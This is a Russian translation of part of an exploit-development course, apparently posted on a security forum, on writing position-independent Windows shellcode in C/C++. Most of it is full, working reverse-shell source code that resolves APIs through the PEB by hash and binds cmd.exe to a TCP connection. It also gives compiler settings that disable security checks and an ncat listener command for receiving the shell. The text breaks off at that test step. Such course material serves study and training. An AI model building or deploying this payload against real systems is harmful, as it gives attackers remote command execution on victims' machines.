R0 CREW

Exploit Development Course Part 6: Shellcode (Перевод: klaus)

Перейти к содержанию

Введение

Шелл-код – это кусок кода, который передается как полезная нагрузка (payload) эксплойтом путем инжектирования в уязвимое ПО с целью его выполнения в дальнейшем. Шелл-код должен быть позиционно-независимым, т.е. он должен работать не зависимо от места расположения в памяти и не должен содержать NULL-байты, потому что шелл-код обычно копируется функцией типа strcpy() которая прекращает свою работу встретив NULL-байт. Если шелл-код все таки должен содержать NULL-байт, то функции, которые будут его копировать, скопируют его только до первого встречного NULL-байта. В результате шелл-код скопируется не полностью и не выполниться.

Шелл-код обычно пишется на языке ассемблера, но это не является строгим правилом. В этом разделе, мы разработаем шелл-код написанный на С/С++ используя Visual Studio 2013. Преимущества очевидны:

  1. Быстрое время разработки
  2. IntelliSense
  3. Легкая отладка

Мы используем VS 2013 с целью получения выполняемого файла с нашим шелл-кодом, с дальнейшей распаковкой и фиксом (т.е. удаление всех NULL-байтов) с помощью Python скрипта.

С/С++ код

Используйте только переменные стека. Что бы писать позиционно-независимый код на С/С++ мы должны использовать переменные размещенные в стеке. Это значит, что мы не должны писать так:

char *v = new char[100];

из-за того, что массив будет размещен в куче. Более того, этот код попытается вызвать функции оператора «new» из msvcr120.dll используя абсолютный адрес:

00191000 6A 64                push        64h
00191002 FF 15 90 20 19 00    call        dword ptr ds:[192090h]

Область по адресу 192090h содержит адрес функции.
Если мы хотим вызвать функцию импортированную из динамической библиотеки, нам надо делать это напрямую, без использования таблицы импорта и загрузчика Windows.
Другая наша проблема – оператор «new» вероятно потребует выполнение инициализации runtime-компонентом языка С/С++. Нам не надо что бы всё это было в нашел шелл-коде.

Мы не можем использовать глобальные переменные:

int x;
 
int main() {
  x = 12;
}

Присваивание выше произведет следующий код (если не было оптимизировано):

008E1C7E C7 05 30 91 8E 00 0C 00 00 00 mov         dword ptr ds:[8E9130h],0Ch

Где 8E9130h абсолютный адрес переменной х.

Строки могут стать проблемой:

char str[] = "I'm a string";
printf(str);

строка будет помещена в секцию .rdata выполняемого файла и на неё надо будет ссылаться по абсолютному адресу. Вы не должны использовать printf в вашем шелл-коде: это только пример того, как на str будут ссылаться:

00A71006 8D 45 F0             lea         eax,[str]
00A71009 56                   push        esi
00A7100A 57                   push        edi
00A7100B BE 00 21 A7 00       mov         esi,0A72100h
00A71010 8D 7D F0             lea         edi,[str]
00A71013 50                   push        eax
00A71014 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71015 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71016 A5                   movs        dword ptr es:[edi],dword ptr [esi]
00A71017 A4                   movs        byte ptr es:[edi],byte ptr [esi]
00A71018 FF 15 90 20 A7 00    call        dword ptr ds:[0A72090h]

Как видите, строка, размещенная по адресу A72100h в секции .rdata была скопирована в стек (str указывает на стек) через инструкции movsd и movsb. Обратите внимание на A72100h – это абсолютный адрес. Это определенно не позиционно-независимый код.

Если мы напишем:

char *str = "I'm a string";
printf(str);

Строка все также будет размещена в секции .rdata но не будет скопирована в стек:

00A31000 68 00 21 A3 00       push        0A32100h
00A31005 FF 15 90 20 A3 00    call        dword ptr ds:[0A32090h]

Позиция строки в секции .rdata по адресу A32100h является абсолютной. Как мы можем сделать этот код независимым от места размещения в памяти? Простое решение проблемы (частичное) довольно громоздкое:

char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);

Код ассемблера:

012E1006 8D 45 F0             lea         eax,[str]
012E1009 C7 45 F0 49 27 6D 20 mov         dword ptr [str],206D2749h
012E1010 50                   push        eax
012E1011 C7 45 F4 61 20 73 74 mov         dword ptr [ebp-0Ch],74732061h
012E1018 C7 45 F8 72 69 6E 67 mov         dword ptr [ebp-8],676E6972h
012E101F C6 45 FC 00          mov         byte ptr [ebp-4],0
012E1023 FF 15 90 20 2E 01    call        dword ptr ds:[12E2090h]

За исключением функции printf этот код позиционно-независим из-за частей строки которые представляются операндами инструкций mov. Строка строится в стеке, по этому её можно использовать.

К сожалению, если строка длинная, этот метод не будет применим к ней. По сути код:

char str[] = { 'I', '\'', 'm', ' ', 'a', ' ', 'v', 'e', 'r', 'y', ' ', 'l', 'o', 'n', 'g', ' ', 's', 't', 'r', 'i', 'n', 'g', '\0' };
printf(str);

производит следующее:

013E1006 66 0F 6F 05 00 21 3E 01 movdqa      xmm0,xmmword ptr ds:[13E2100h]
013E100E 8D 45 E8             lea         eax,[str]
013E1011 50                   push        eax
013E1012 F3 0F 7F 45 E8       movdqu      xmmword ptr [str],xmm0
013E1017 C7 45 F8 73 74 72 69 mov         dword ptr [ebp-8],69727473h
013E101E 66 C7 45 FC 6E 67    mov         word ptr [ebp-4],676Eh
013E1024 C6 45 FE 00          mov         byte ptr [ebp-2],0
013E1028 FF 15 90 20 3E 01    call        dword ptr ds:[13E2090h]

Как видно из примера, часть строки размещена в секции .rdata по адресу 13E2100h, в то время как остальные части являются операндами инструкций mov, как было показано раньше.

Я пришел к решению взять этот код:

char *str = "I'm a very long string";

и пофиксить шелл-код с помощью Python-скприта. Скрипт должен извлекать указанную строку из секции .rdata, поместить её в шелл-код и исправить адреса перемещений. Как это сделать мы увидим в скором времени.

Не вызывайте Windows API напрямую

Мы не можем написать так:

WaitForSingleObject(procInfo.hProcess, INFINITE);

в нашем С/С++ коде из-за того, что «WaitForSingleObject» должна быть импортирована из kernel32.dll.

Процесс импорта функции из библиотеки более сложный. В двух словах, РЕ файла содержит таблицу импорта и таблицу адресов импорта (import address table -IAT). Таблица импорта состоит из информации о том, какие функции с каких библиотек импортируются. IAT составляется загрузчиком Windows когда исполняемый файл загрузился и уже содержит адреса импортируемых функций. Код исполняемого файла при вызове импортированной функции с уровнем косвенности:

001D100B FF 15 94 20 1D 00    call        dword ptr ds:[1D2094h]

Адрес 1D2094h – это место записи (в IAT) которая содержит адрес функции MessageBoxA. Данный уровень косвенности полезен из-за того, что вызов выше не должен быть исправлен (если исполняемый файл переместиться). Единственную вещь, которую загрузчик Windows должен исправить, это адрес 1D2094h который является адресов функции MessageBoxA.
Решение такое, что бы получить адреса Windows функций прямо из структур данных Windows которые размещены в памяти. Как это сделать мы увидим немного позже.

Установка VS 2013 CTP

Прежде всего, скачайте Visual C++ Compiler November 2013 CTP отсюда и установите.

Создание нового проекта

Перейдите в File→New→Project…, выберите Installed→Templates→Visual C++→Win32→Win32 Console Application, дайте имя своему проекту (я выбрал shellcode) и нажмите ОК.

Перейдите в Project→ properties и у вас должно появиться нового диалоговое окно. Примените изменения для всех конфигураций (Release and Debug) установив Configuration (верхний левый угол в диалоговом окне) в All Configurations. Далее, разверните Configuration Properties и на General измените Platform Toolset так, что бы показывало Visual C++ Compiler Nov 2013 CTP (CTP_Nov2013). Таким образом вы будете способны использовать новые возможности С++11 и С++14, такие как static_assert.

Пример шелл-кода

Здесь показан код простого шелл-кода (определение). Добавьте файл с названием sheellcode.cpp в проект и скопируйте этот код в него. Не пытайтесь понять весь код прямо сейчас. Мы обсудим это подробно.

// Простой reverse shell shellcode by Massimiliano Tomassoli (2015)
// NOTE: Compiled on Visual Studio 2013 + "Visual C++ Compiler November 2013 CTP".
 
#include <WinSock2.h>               // must preceed #include <windows.h>
#include <WS2tcpip.h>
#include <windows.h>
#include <winnt.h>
#include <winternl.h>
#include <stddef.h>
#include <stdio.h>
 
#define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))
 
_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov     eax, fs:[30h]
        mov     p, eax
    }
    return p;
}
 
DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h >> 13) | (h << (32 - 13));       // ROR h, 13
        h += *str >= 'a' ? *str - 32 : *str;    // конвертирует символы в верхний регистр
        str++;
    }
    return h;
}
 
DWORD getFunctionHash(const char *moduleName, const char *functionName) {
    return getHash(moduleName) + getHash(functionName);
}
 
LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
    int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
}
 
// NOTE: Эта функция не работает с направлениями. К примеру, kernel32.ExitThread направляется в
//       ntdll.RtlExitUserThread. Решением является следование направлениям вручную. PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr->Flink;
 
        BYTE *baseAddress = (BYTE *)dte->DllBase;
        if (!baseAddress)           // invalid module(???)
            continue;
        IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
        IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
        DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (!iedRVA)                // Export Directory нету
            continue;
        IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
        char *moduleName = (char *)(baseAddress + ied->Name);
        DWORD moduleHash = getHash(moduleName);
 
        // Масив, на который указывают AddressOfNames и AddressOfNameOrdinals запущенны паралельно, т.е.. i-й
        // элемент двух массивов указывает на одну и ту же функцию. Первый масив указывает имя, в то время как второй - ординал. 
//Этот ординал может в дальнейшем использоваться как индекс в массивеуказываемый  
// AddressOfFunctions для нахождения точки входа в функцию.
        DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
        for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
            char *functionName = (char *)(baseAddress + nameRVAs[i]);
            if (hash == moduleHash + getHash(functionName)) {
                WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
                DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
                return baseAddress + functionRVA;
            }
        }
    } while (ptr != first);
 
    return NULL;            // адрес не найден
}
 
#define HASH_LoadLibraryA           0xf8b7108d
#define HASH_WSAStartup             0x2ddcd540
#define HASH_WSACleanup             0x0b9d13bc
#define HASH_WSASocketA             0x9fd4f16f
#define HASH_WSAConnect             0xa50da182
#define HASH_CreateProcessA         0x231cbe70
#define HASH_inet_ntoa              0x1b73fed1
#define HASH_inet_addr              0x011bfae2
#define HASH_getaddrinfo            0xdc2953c9
#define HASH_getnameinfo            0x5c1c856e
#define HASH_ExitThread             0x4b3153e0
#define HASH_WaitForSingleObject    0xca8e9498
 
#define DefineFuncPtr(name)     decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
int entryPoint() {
//  printf("0x%08x\n", getFunctionHash("kernel32.dll", "WaitForSingleObject"));
//  return 0;
 
    // NOTE: мы должны вызывать WSACleanup() и freeaddrinfo() (after getaddrinfo()), но
    //       это не обязательно.
 
    DefineFuncPtr(LoadLibraryA);
 
    My_LoadLibraryA("ws2_32.dll");
 
    DefineFuncPtr(WSAStartup);
    DefineFuncPtr(WSASocketA);
    DefineFuncPtr(WSAConnect);
    DefineFuncPtr(CreateProcessA);
    DefineFuncPtr(inet_ntoa);
    DefineFuncPtr(inet_addr);
    DefineFuncPtr(getaddrinfo);
    DefineFuncPtr(getnameinfo);
    DefineFuncPtr(ExitThread);
    DefineFuncPtr(WaitForSingleObject);
 
    const char *hostName = "127.0.0.1";
    const int hostPort = 123;
 
    WSADATA wsaData;
 
    if (My_WSAStartup(MAKEWORD(2, 2), &wsaData))
        goto __end;         // error
    SOCKET sock = My_WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
        goto __end;
 
    addrinfo *result;
    if (My_getaddrinfo(hostName, NULL, NULL, &result))
        goto __end;
    char ip_addr[16];
    My_getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);
 
    SOCKADDR_IN remoteAddr;
    remoteAddr.sin_family = AF_INET;
    remoteAddr.sin_port = htons(hostPort);
    remoteAddr.sin_addr.s_addr = My_inet_addr(ip_addr);
 
    if (My_WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
        goto __end;
 
    STARTUPINFOA sInfo;
    PROCESS_INFORMATION procInfo;
    SecureZeroMemory(&sInfo, sizeof(sInfo));        // избегаем вызова _memset
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = STARTF_USESTDHANDLES;
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
    My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
 
    // Ожидаем завершение работы процесса.
    My_WaitForSingleObject(procInfo.hProcess, INFINITE);
 
__end:
    My_ExitThread(0);
 
    return 0;
}
 
int main() {
    return entryPoint();
}

Конфигурация компилятора

Перейдите в Project→ properties, разверните Configuration Properties и далее пункт C/C++. Примените изменения в Release Configuration.

Вот настройки, которые вы должны установить:

  1. General:

    • SDL Checks: No (/sdl-)
      Возможно этого и не надо, но я выключил их.
  2. Optimization:

    • Optimization: Minimize Size (/O1)
      Это очень важно! Мы хотим что бы шелл-код максимально маленьким.
    • Inline Function Expansion: Only __inline (/Ob1)
      Если функция A вызывает функцию B и B встроенная, тогда вызов функции B будет заменен кодом функци B вместо вызова. Этой настройкой мы говорим VS 2013 встраивать функции только с параметром_inline.
      Это критично! main() вызывает функцию entryPoint нашего шелл-кода. Если функция entryPoint короткая, она может быть встроенная в main(). Это будет губительно, така как main() не будет указывать на конец нашего шелл-кода больше (на самом деле, она будет содержать её часть). Мы увидим почему это важно позже.
    • Enable Intrinsic Functions: Yes (/Oi)
      Я не уверен что это должно быть отключено.
    • Favor Size Or Speed: Favor small code (/Os)
    • Whole Program Optimization: Yes (/GL)
  3. Code Generation:

    • Security Check: Disable Security Check (/GS-)
      Нам не нужны никакие проверки безопасности!
    • Enable Function-Level linking: Yes (/Gy)

Конфигурация линкера

Перейдите в Project→ properties, разверните Configuration Properties и далее Linker. Примените изменения к Release Configuration.
Вот настройки которые вы должны применить:

  1. General:

    • Enable Incremental Linking: No (/INCREMENTAL:NO)
  2. Debugging:

    • Generate Map File: Yes (/MAP)
      Говоритт линкеру генерировать map-файл содержащий структуру ЕХЕ.
    • Map File Name: mapfile
      Имя ma-файла. Выберите любое имя, которое вам нравится.
  3. Optimization:

    • References: Yes (/OPT:REF)
      Это очень важно, генерировать короткий код из-за устранения функций и данных на которые ничто не ссылается в коде.
    • Enable COMDAT Folding: Yes (/OPT:ICF)
    • Function Order: function_order.txt
      Данная функция отвечает за чтение файла с файла function_order.txt который указывает порядок в котором функции должны появляться в секции кода. Мы хотим что бы функция entryPoint была первой функцией в секции кода , по этому мой function_order.txt содержит одну строку со словом ?entryPoint@@YAHXZ. Вы можете найти имена функций в map-файле.

getProcAddrByHash

Данная функция возвращает адрес экспортированной модулем (.exe или .dll) функции представленной в памяти, учитывая хэш связанный с модулем и функцией. Так же возможно найти функцию по имени, но на это придется потратить место, потому что имена должны быть включены в шелл-код. С другой стороны, хэш – это только 4 байта. Поскольку мы не используем два хэша (один для модуля, а второй для функции), getProcAddrByHash должен просмотреть все модули загруженные в память.
Хэш для MessageBoxA экспортируемой из user32.dll может быть подсчитан следующим образом:

DWORD hash = getFunctionHash("user32.dll", "MessageBoxA");

Тут хэш - это сумма функций getHash(“user32.dll”) и getHash(“MessageBoxA”).

Реализация getHash очень проста:

DWORD getHash(const char *str) {
    DWORD h = 0;
    while (*str) {
        h = (h >> 13) | (h << (32 - 13));       // ROR h, 13
        h += *str >= 'a' ? *str - 32 : *str;    // конвертирование символов в верхний регистр 
        str++;
    }
    return h;
}

Как видно с примера, хэш чувствителен к регистру. Это важно, поскольку в некоторых версиях Windows имена в памяти представлены в верхнем регистре.

Во первых, getProcAddrByHash получает адрес TEB (Thread Environment Block):

PEB *peb = getPEB();
где
_inline PEB *getPEB() {
    PEB *p;
    __asm {
        mov     eax, fs:[30h]
        mov     p, eax
    }
    return p;
}

Селектор fs ассоциируется с сегментом который начинается по адресу TEB. По смещению 30h TEB содержит указатель на PEB (Process Environment Block).

Мы можем это увидеть в WinDbg:

0:000> dt _TEB @$teb
ntdll!_TEB
+0x000 NtTib            : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId         : _CLIENT_ID
+0x028 ActiveRpcHandle  : (null)
+0x02c ThreadLocalStoragePointer : 0x7efdd02c Void
+0x030 ProcessEnvironmentBlock : 0x7efde000 _PEB
+0x034 LastErrorValue   : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread  : (null)
<обрезано>

РЕВ, исходя из его имени, ассоциируется с текущим процессом и содержит, помимо всего прочего, информацию о модулях загруженных в адресное пространство процесса.

Здесь снова getProcAddrByHash:

PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = getPEB();
    LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do {                            // for each module
        LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
        ptr = ptr->Flink;
        .
        .
        .
    } while (ptr != first);
 
    return NULL;            // адрес не найден
}

Часть РЕВ:

0:000> dt _PEB @$peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x8 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsLegacyProcess  : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 SpareBits        : 0y000
   +0x004 Mutant           : 0xffffffff Void
   +0x008 ImageBaseAddress : 0x00060000 Void
   +0x00c Ldr              : 0x76fd0200 _PEB_LDR_DATA
   +0x010 ProcessParameters : 0x00681718 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : (null)
   +0x018 ProcessHeap      : 0x00680000 Void
   <обрезано>

По смещению 0Ch размещено поле с именем Ldr которое указывает на структуру данных PEB_LDR_DATA.

Давайте посмотрим на это в WinDbg:

0:000> dt _PEB_LDR_DATA 0x76fd0200
ntdll!_PEB_LDR_DATA
   +0x000 Length           : 0x30
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null)
   +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x683088 - 0x6862c8 ]
   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x683120 - 0x6862d0 ]
   +0x024 EntryInProgress  : (null)
   +0x028 ShutdownInProgress : 0 ''
   +0x02c ShutdownThreadId : (null)

InMemoryOrderModuleList это двусвязных список структуры LDR_DATA_TABLE_ENTRY ассоциируемой с модулями загруженными в адресное пространство текущего процесса. Что бы быть точными InMemoryOrderModuleList – это LIST_ENTRY, которая содержит два поля:

0:000> dt _LIST_ENTRY
ntdll!_LIST_ENTRY
   +0x000 Flink            : Ptr32 _LIST_ENTRY
   +0x004 Blink            : Ptr32 _LIST_ENTRY

Flink означаает прямую ссылку, а Blink обратную ссылку. Flink указывает на LDR_DATA_TABLE_ENTRY первого модуля. Ну, не совсем так: Flink указывает на структуру LIST_ENTRY которая содержится в структуре LDR_DATA_TABLE_ENTRY.

Давайте посмотрим как LDR_DATA_TABLE_ENTRY определена:

0:000> dt _LDR_DATA_TABLE_ENTRY
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY
   +0x008 InMemoryOrderLinks : _LIST_ENTRY
   +0x010 InInitializationOrderLinks : _LIST_ENTRY
   +0x018 DllBase          : Ptr32 Void
   +0x01c EntryPoint       : Ptr32 Void
   +0x020 SizeOfImage      : Uint4B
   +0x024 FullDllName      : _UNICODE_STRING
   +0x02c BaseDllName      : _UNICODE_STRING
   +0x034 Flags            : Uint4B
   +0x038 LoadCount        : Uint2B
   +0x03a TlsIndex         : Uint2B
   +0x03c HashLinks        : _LIST_ENTRY
   +0x03c SectionPointer   : Ptr32 Void
   +0x040 CheckSum         : Uint4B
   +0x044 TimeDateStamp    : Uint4B
   +0x044 LoadedImports    : Ptr32 Void
   +0x048 EntryPointActivationContext : Ptr32 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : Ptr32 Void
   +0x050 ForwarderLinks   : _LIST_ENTRY
   +0x058 ServiceTagLinks  : _LIST_ENTRY
   +0x060 StaticLinks      : _LIST_ENTRY
   +0x068 ContextInformation : Ptr32 Void
   +0x06c OriginalBase     : Uint4B
   +0x070 LoadTime         : _LARGE_INTEGER

InMemoryOrderModuleList.Flink указывает на _LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks которая размещена по смещению 8, так что нам надо вычесть 8 что бы получить адрес _LDR_DATA_TABLE_ENTRY.

Сперва, давайте получим указатель на Flink:

+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x683080 - 0x6862c0 ]
Его значение 0x683080, так что структура _LDR_DATA_TABLE_ENTRY по адресу 0x683080 – 8 = 0x683078:
0:000> dt _LDR_DATA_TABLE_ENTRY 683078
ntdll!_LDR_DATA_TABLE_ENTRY
   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x359469e5 - 0x1800eeb1 ]
   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x683110 - 0x76fd020c ]
   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x683118 - 0x76fd0214 ]
   +0x018 DllBase          : (null)
   +0x01c EntryPoint       : (null)
   +0x020 SizeOfImage      : 0x60000
   +0x024 FullDllName      : _UNICODE_STRING "蒮m쿟ᄍ엘ᆲ膪n???"
   +0x02c BaseDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
   +0x034 Flags            : 0x120010
   +0x038 LoadCount        : 0x2034
   +0x03a TlsIndex         : 0x68
   +0x03c HashLinks        : _LIST_ENTRY [ 0x4000 - 0xffff ]
   +0x03c SectionPointer   : 0x00004000 Void
   +0x040 CheckSum         : 0xffff
   +0x044 TimeDateStamp    : 0x6841b4
   +0x044 LoadedImports    : 0x006841b4 Void
   +0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : 0x4ce7979d Void
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
   +0x068 ContextInformation : 0x00686418 Void
   +0x06c OriginalBase     : 0x6851a8
   +0x070 LoadTime         : _LARGE_INTEGER 0x76f0c9d0

Как видите, я отлаживаю calc.exe в WinDbg! Верно, первый модуль это сам исполняемый файл. DLLBase © – важное поле. Учитывая базовый адрес модуля, мы можем анализировать РЕ файл загруженный в память и получать любую информацию, такую как адреса экспортированных функций и т.д.

Это именно то, что мы делаем в getProcAddrByHash:

.
    .
    .
    BYTE *baseAddress = (BYTE *)dte->DllBase;
        if (!baseAddress)           // invalid module(???)
            continue;
        IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
        IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
        DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
        if (!iedRVA)                // Export Directory нету
            continue;
        IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
        char *moduleName = (char *)(baseAddress + ied->Name);
        DWORD moduleHash = getHash(moduleName);
 
        // Масив, на который указывают AddressOfNames и AddressOfNameOrdinals запущенны паралельно, т.е.. i-й
        // элемент двух массивов указывает на одну и ту же функцию. Первый масив указывает имя, в то время как второй - ординал. 
//Этот ординал может в дальнейшем использоваться как индекс в массивеуказываемый  
// AddressOfFunctions для нахождения точки входа в функцию.
        DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
        for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
            char *functionName = (char *)(baseAddress + nameRVAs[i]);
            if (hash == moduleHash + getHash(functionName)) {
                WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
                DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
                return baseAddress + functionRVA;
            }
        }
    .
    .
    .

Что бы понять данный кусок кода, вам надо взглянуть на спецификацию файлового формата PE (PE file format specification). Я не буду слишком сильно углубляться. Одну важную вещь которую вам стоит знать: много адресов в структуре РЕ файла являються RVA (Relative Virtual Addresses), т.е. адреса, относительные к базовому адресу РЕ модуля (DllBase). К примеру, если RVA это 100h и DllBase это 400000h, тогда RVA указывает на данные по адресу 400000h + 100h = 400100h.

Модуль начинается с так называемого DOS_HEADER который содержит RVA (e_lfanew) на NT_HEADERS который в свою очередь является FILE_HEADER и OPTIONAL_HEADER. OPTIONAL_HEADER содержит массив под названием DataDirectory, элементы которого указывают на разные «директории» РЕ модуля. Нас интересует Export Directory (Директори экспорта).

С структура ассоциирована с директорией экспорта определена следующим образом:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Поле Name это RVA на строку содержащую имя модуля. Далее идут 5 важных полей:

  • NumberOfFunctions:
    Количество элементов в AddressOfFunctions.
  • NumberOfNames:
    Количество элементов в AddressOfNames.
  • AddressOfFunctions:
    RVA на масив RVA элементов (DWORD) который указывают на точки входа в экспортируемые функции.
  • AddressOfNames:
    RVA на масив RVA элементов (DWORD) который указывают на на имена экспортируемых функций.
  • AddressOfNameOrdinals:
    RVA на масив ординалов (WORD) ассоциируемых с экспортируемыми функциями.
    Как говорят комментарии в С/С++ коде, массивы на которые указывают AddressOfNames и AddressOfNameOrdinals запущенные параллельно.

Пока два массива запущены параллельно, третий так не делает и ординалы взятые из AddressOfNameOrdinals являются индексамив массиве AddressOfFunctions.

Идея такая: сперва найти правильное имя в AddressOfNames, потом получить соответствующий ординал в AddressOfNameOrdinals (в той же позиции) и в конце использовать ординал как индекс в AddressOfFunctions для получения RVA соответствующей экспортированной функции.

DefineFuncPtr

DefineFuncPtr – это удобный макрос, который помогает определить указатель на импортированную функцию.

Вот пример:

#define HASH_WSAStartup           0x2ddcd540
 
#define DefineFuncPtr(name)       decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
DefineFuncPtr(WSAStartup);

WSAStartup - это функция, импортированная из ws2_32.dll, по этому HASH_WSAStartup вычисляется так:

DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup");
Когда макрос развертывается,
DefineFuncPtr(WSAStartup);
он становиться таким:
decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)

где decltype(WSAStartup) это тип функции WSAStartup. Таким образом нам не надо переопределять прототип функции. Стоит взять на заметку, что decltype введет в стандарте С++11.

Теперь мы можем вызвать WSAStartup через My_WSAStartup и intellisense работает замечательно. Запомните, что перед тем как импортировать функцию из модуля, нам нужно удостовериться что модуль уже загружен в память. Так как kernel32.dll и ntdll.dll всегда присутствуют в памяти (к счастью для нас), мы можем предположить, что и другие модули тоже там. Самый простой способ загрузить модуль, это использовать LoadLibrary:

DefineFuncPtr(LoadLibraryA);
  My_LoadLibraryA("ws2_32.dll");

Код выше будет работать, потому что LoadLibrary была импортирована из библиотеки kernel32.dll которая, как мы уже говорили, всегда находится в памяти.

Мы можем также импортировать GetProcAddress и использовать её для получения адреса всех других функций которые нам понадобятся, но это будет слишком затратным для нас, поскольку надо будет прописать имена функций в нашем шелл-коде.

entryPoint

entryPoint – это точка входа нашего шелл-кода (очевидно же). Сперва, мы импортируем все функции которые нам нужны и потом будем использовать их. Детали не важны, так как winsock API очень громоздкое для использования.

В двух словах:

  1. Мы создаем сокет,
  2. Коннектимся к 127.0.0.1:123,
  3. Создаем процесс выполняя cmd.exe,
  4. Атачим сокет к стандартному потоку ввода, вывода и ошибок процесса,
  5. Ожидаем пока процесс завершиться,
  6. Когда процесс завершен, мы завершаем текущий поток.

Пункт 3 и 4 выполняются в одно и то же время с вызовом CreateProcess. Благодаря пункту 4, атакующий может слушать порт 123 для соединения и потом, когда присоединиться, может взаимодействовать с cmd.exe запущенной на удаленной машине через сокет, т.е. через TCP соединение.

Что бы попробовать это, установите ncat (скачать), запустите cmd.exe и введите:

ncat -lvp 123

Начнеться прослушка порта 123.
Далее, вернитесь в VS 2013, выберите Release, соберите проект и запустите его.
Вернитесь в ncat и вы должны увидеть что-то похожее:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Kiuhnm>ncat -lvp 123
Ncat: Version 6.47 ( [url]http://nmap.org/ncat[/url] )
